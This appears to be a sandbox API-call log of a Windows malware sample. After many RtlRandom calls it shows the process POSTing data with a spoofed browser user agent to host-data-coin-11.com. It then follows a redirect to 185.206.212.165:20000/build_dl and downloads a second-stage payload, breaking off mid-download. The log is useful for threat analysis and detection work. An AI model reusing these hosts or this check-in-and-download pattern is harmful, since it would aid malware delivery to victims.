Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4feaff2e [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5ad34b40 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2754e71a [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba3e56cf [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3eea1da4 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x95cbbe5 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9f8d4e53 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb281337c [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x545c0a2d [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x647a84ae [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2c41a29e [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2113e8e4 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc26b2832 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x75f92c12 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x72bf7c9c [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd246ef3b [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6ee6fd [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x14f4f3ca [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8a495455 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3674f5c [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9ba494d6 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1e0befa2 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4e97cc62 [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3dbc8acb [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc93043bb [0176.526] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9c230613 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x10dc0044 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6a549002 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdad1a604 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1756ddfb [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfd25f49e [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xec21cc3c [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xef9b28f5 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa4fabc30 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x371bf820 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9f44811 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4f887f4c [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xeeb110d2 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x838e25e9 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb1ca529c [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x382164e3 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6960293 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7434f01e [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcd247215 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x67799d2f [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc4e8a870 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8a7b8af4 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x80b19b33 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf8f823e6 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e30f09e [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa458d944 [0176.527] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5585bdb5 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf6d89e6 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6c3a5716 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1ebb177 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbe737488 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x76ce6adf [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x64addb6d [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5051bee5 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa3e430fa [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96ff6f2d [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x303c5b60 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x829b6ca2 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x74f37ff3 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa88fa0c8 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf067c314 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6c8b1980 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2677cde5 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf48c7d8c [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xde5ceb7b [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2f7eb0d7 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x732bbc90 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa97eb57c [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb97f780e [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x98078d4a [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4015f107 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x81cae172 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdfa2730d [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xed23f48f [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xedcf15e7 [0176.528] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2812c33e [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xab84ae3 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e570194 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x54a6c30c [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfa21e2d0 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xff3c6baf [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xca5c916e [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5120a7b8 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4e91bdad [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba37dce6 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xebdefdef [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfe8ed36d [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x74e15eac [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcffd8500 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xedf3d66e [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb3764c [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd96630d8 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x39903afe [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3a178fe9 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e0723b7 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x30eeebf1 [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4614411a [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9ea5ccac [0176.529] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcebecfdb [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x12490f50 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x49bfb282 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3557d956 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5f20695a [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x500b9f9a [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaa74f90b [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4c71bbf6 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba3e7e73 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8e81a0c0 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x816acf82 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa3b24f65 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2a4b2f27 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x77871050 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea12ff4a [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x58a31bf7 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf3257640 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x78d3cfda [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3f185359 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea01e454 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb3936fac [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe670e54e [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x26be5de1 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x935a9250 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc3fa4057 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x28e0fd61 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6e5bcb41 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1cfe4699 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa684c4b4 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1546d244 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3ce42edc [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5152a354 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x416fe953 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd96bcde5 [0176.530] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x73dd92e0 [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf7954ded [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb0f0652 [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4f63687c [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x16ce36a6 [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7a041d20 [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf16c7c43 [0176.531] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6b2afa3f [0176.531] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14f) returned 0x471a00 [0176.531] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0176.531] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0176.531] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0176.531] lstrcatA (in: lpString1="", lpString2="b/u,YBB@OJBl9P*iiT4+?vga)(2dl/(Y@K*$z.:Dt/ta&W!L(CoY6J.>>deq:#Q.k/u`,51g0Z%4fFEDl/2/@zt&VkIneFb,p2AED'kS5\"WF,A63W_OG]8b%DUcs'Dt6%ciJ_G4S_*[w$AJ2Q^8Q[@w1K`;5(#t\":/6+!HYoI6aZHg!Yk$+$z6!l17i<9/01pJU)9=yQ(&xO9p`Zj^" | out: lpString1="HFwS8M_:)'`1@M?V=&/F*+U\"7y.C:@K]IA`%)iQldap^ZyF\\.Avp`Zj^") returned="HFwS8M_:)'`1@M?V=&/F*+U\"7y.C:@K]IA`%)iQldap^ZyF\\.Avp`Zj^" [0177.968] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471a50 [0177.968] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0177.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471a50, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0177.968] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0177.973] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8622b80 [0177.974] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0177.974] WinHttpConnect (hSession=0x8622b80, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86ca520 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471b70 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471b90 [0177.974] WinHttpOpenRequest (hConnect=0x86ca520, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x98f84b0 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471c00 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471c60 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3f1b4d30 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471d80 [0177.974] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471da0 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9fb04a5a [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8edbf66b [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa1238f53 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1de2fe6 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5abf3950 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x692091c1 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe1d93632 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x451632fd [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb70a43e8 [0177.974] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x436999b [0177.974] wsprintfW (in: param_1=0x471c60, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://ocunulywg.net/") returned 43 [0177.974] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471da0) returned 0x17 [0177.974] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471da0) returned 1 [0177.974] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d80) returned 0x12 [0177.974] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d80) returned 1 [0177.974] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c00) returned 0x4e [0177.975] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c00) returned 1 [0177.975] WinHttpAddRequestHeaders (hRequest=0x98f84b0, pwszHeaders="Accept: */*\r\nReferer: http://ocunulywg.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0177.975] WinHttpSendRequest (hRequest=0x98f84b0, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471990*, dwOptionalLength=0xaf, dwTotalLength=0xaf, dwContext=0x0) returned 1 [0178.232] WinHttpReceiveResponse (hRequest=0x98f84b0, lpReserved=0x0) returned 1 [0178.233] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x471d80 [0178.233] WinHttpReadData (in: hRequest=0x98f84b0, lpBuffer=0x471d80, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471d80*, lpdwNumberOfBytesRead=0xfd4fd88*=0x31) returned 1 [0178.234] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x471d80, Size=0x5000) returned 0x471d80 [0178.234] WinHttpReadData (in: hRequest=0x98f84b0, lpBuffer=0x471db1, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471db1*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0178.234] VirtualAlloc (lpAddress=0x0, dwSize=0x31, flAllocationType=0x3000, flProtect=0x4) returned 0x450000 [0178.236] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d80) returned 1 [0178.236] WinHttpCloseHandle (hInternet=0x98f84b0) returned 1 [0178.237] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c60) returned 0x10d [0178.237] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c60) returned 1 [0178.237] WinHttpCloseHandle (hInternet=0x86ca520) returned 1 [0178.237] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b90) returned 0x68 [0178.237] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b90) returned 1 [0178.237] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b70) returned 0x12 [0178.237] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b70) returned 1 [0178.237] WinHttpCloseHandle (hInternet=0x8622b80) returned 1 [0178.238] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471a50) returned 0x10c [0178.238] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471a50) returned 1 [0178.238] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471910) returned 0x69 [0178.239] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471910) returned 1 [0178.239] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471990) returned 0xb8 [0178.239] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471990) returned 1 [0178.239] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1008) returned 0x471910 [0178.239] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1008) returned 0x472920 [0178.239] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x13) returned 0x473930 [0178.239] lstrlenA (lpString="Location: http://185.206.212.165:20000/build_dl") returned 47 [0178.239] lstrlenA (lpString="Location:") returned 9 [0178.239] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3b) returned 0x473950 [0178.239] wsprintfA (in: param_1=0x473950, param_2="%s" | out: param_1="http://185.206.212.165:20000/build_dl") returned 37 [0178.239] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x4739a0 [0178.239] lstrlenA (lpString="http://185.206.212.165:20000/build_dl") returned 37 [0178.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x473950, cbMultiByte=38, lpWideCharStr=0x4739a0, cchWideChar=76 | out: lpWideCharStr="http://185.206.212.165:20000/build_dl") returned 38 [0178.240] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fb48 | out: pProxyConfig=0xfd4fb48) returned 1 [0178.248] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8621860 [0178.248] WinHttpCrackUrl (in: pwszUrl="http://185.206.212.165:20000/build_dl", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fc00 | out: lpUrlComponents=0xfd4fc00) returned 1 [0178.248] WinHttpConnect (hSession=0x8621860, pswzServerName="185.206.212.165", nServerPort=0x4e20, dwReserved=0x0) returned 0x86c9bc0 [0178.249] WinHttpOpenRequest (hConnect=0x86c9bc0, pwszVerb=0x0, pwszObjectName="/build_dl", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x98f8ff0 [0178.249] WinHttpSendRequest (hRequest=0x98f8ff0, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0178.473] WinHttpReceiveResponse (hRequest=0x98f8ff0, lpReserved=0x0) returned 1 [0178.474] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x473ac0 [0178.474] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x473ac0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x473ac0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.475] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x473ac0, Size=0x5000) returned 0x473ac0 [0178.475] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x4762c0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x4762c0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.475] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x473ac0, Size=0x7800) returned 0x473ac0 [0178.476] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x478ac0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x478ac0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.477] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x473ac0, Size=0xa000) returned 0x8fd0080 [0178.503] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fd7880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fd7880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.527] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0xc800) returned 0x8fda090 [0178.529] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fe4090, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fe4090*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.530] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fda090, Size=0xf000) returned 0x8fe68a0 [0178.532] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ff30a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ff30a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.532] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fe68a0, Size=0x11800) returned 0x8fe68a0 [0178.533] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8ff58a0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8ff58a0*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.534] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fe68a0, Size=0x14000) returned 0x8fd0080 [0178.534] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fe1880, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fe1880*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.534] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x16800) returned 0x8fd0080 [0178.535] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fe4080, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0x8fe4080*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.535] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x8fd0080, Size=0x19000) returned 0x8fd0080 [0178.535] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0x8fe6880, dwNumberOfBytesToRead=0x2800, 